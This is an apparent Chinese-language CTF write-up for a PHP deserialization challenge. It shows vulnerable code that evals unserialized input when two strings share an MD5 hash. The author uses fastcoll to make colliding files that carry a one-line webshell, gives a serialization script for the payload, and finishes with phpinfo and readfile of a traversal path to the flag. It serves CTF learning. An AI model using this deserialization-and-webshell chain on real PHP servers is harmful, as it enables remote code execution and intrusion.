成理信安协会反序列化01-利用fastcoll实现md5碰撞
虽然是反序列化的题目,但主要考点在利用fastcoll实现md5碰撞。
直接上源码
<?php
show_source(__FILE__);
class CDUTSEC
{
public $var1;
public $var2;
function __construct($var1, $var2)
{
$var1 = $var1;
$var2 = $var2;
}
function __destruct()
{
echo md5($this->var1);
echo md5($this->var2);
if (($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2))) {
eval($this->var1);
}
}
}
unserialize($_GET['payload']);
代码审计
- 乍看上去很经典的md5碰撞题目,var1与var2原值弱比较不等md5编码后强比较相等。想直接拿自己的屯的payload直接上?太年轻了!仔细看一看我们拿flag的唯一途径是什么?eval($this->var1);!你的字符串不仅能够实现md5碰撞以绕过,而且还必须实现命令注入。怎么办?这时候就要用到md5碰撞滴神器,fastcoll了!
fastcoll使用详解
在我做题查阅各种fastcoll有关博客的时候,发现很多只是单纯的介绍,而到具体使用却写的比较模糊。我这里就结合题目写一下。
首先,新建一个写入一句话木马的文本文件。这里加了?>目的就是读完咱的一句话就提前结束,防止其他杂事。
然后把文件丢到fastcoll里跑一下(直接把文件拖到程序上,或者用命令行./fastcoll_v1.0.0.5.exe呦~)
然后我们得到两个文件。这两文件读到字符串是不一样的,但md5后是一样的。
然后上我们的读文件和序列化脚本。
其实就是主要用到file_get_contents函数,把文件读入字符串。
<?php
class CDUTSEC{
public $var1;
public $var2;
}
$tr = new CDUTSEC();
$tr->var1 = file_get_contents('C:\Users\Riverland\Desktop\shell_msg1.txt');
$tr->var2 = file_get_contents('C:\Users\Riverland\Desktop\shell_msg2.txt');
echo urlencode(serialize($tr));
传个1=phpinfo();看看成功了没有。
成功了。我们就欢乐滴骑上了马。
菜刀蚁剑,或者直接readfile('../../../../../../flag');都可以。